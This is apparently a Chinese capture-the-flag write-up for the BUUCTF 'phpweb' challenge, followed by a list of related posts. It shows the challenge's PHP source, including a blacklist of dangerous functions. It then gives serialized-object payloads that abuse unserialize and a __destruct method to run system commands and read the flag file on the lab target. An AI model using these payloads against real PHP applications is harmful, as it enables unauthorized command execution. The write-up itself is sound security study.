BUUCTF--[网鼎杯 2020 朱雀组]phpweb

流程

打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息

我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容

func=date&p=Y-m-d h:i:s a

而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能

func=date :告诉后端调用 PHP 内置的 date() 函数

p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式

func:传递要执行的 PHP 函数名

p:传递给该函数的参数

后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。

我们将包发到Repeater进一步测试

我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数

我们尝试file_get_contents读取 index.php 源码

func=file_get_contents&p=index.php

得到源码

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

要点:

严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括system、call_user_func本

危险的回调执行 :gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤

反序列化利用入口 :Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点

未被禁用的关键函数 :unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口

反序列化漏洞利用

漏洞原理

当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func和$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。

步骤 1:构造序列化 Payload

我们需要构造一个 Test 类的实例,给func赋值为system,p赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:

php 复制代码
<?php
class Test {
    public $func = "system";
    public $p = "ls /";
}
echo serialize(new Test());
?>

结果:

php 复制代码
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

步骤 2:执行命令,查找 flag 路径

将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93

步骤 3:读取 flag

修改命令为 cat 读取 flag 文件,最终 Payload:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

执行后,Repeater会直接返回 flag 内容。

由此的到最终flag

相关推荐
曾令胜1 天前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
菩提小狗2 天前
每日安全情报报告 · 2026-11-09
网络安全·漏洞·cve·安全情报·每日安全
东姬AI2 天前
挖出948个内核漏洞、自动写补丁:GPT-6 Cyber把AI推进“实战岗“,内容行业还卡在哪一关?
人工智能·网络安全·openai·gpt-6
不庸.2 天前
WPScan 实战入门:从 Docker 靶场到弱密码爆破
运维·安全·web安全·docker·容器·安全性测试·wpscan
ppo_wu3 天前
解决夸克网盘自动修改PDF打开方式的方法
经验分享·安全·网络安全
kingx33 天前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
菩提小狗4 天前
每日安全情报报告 · 2026-11-07
网络安全·漏洞·cve·安全情报·每日安全
不庸.4 天前
theHarvester 入门教程:从装好到看懂输出
安全·web安全·网络安全·开源·安全性测试
liferecords5 天前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
FungLeo5 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈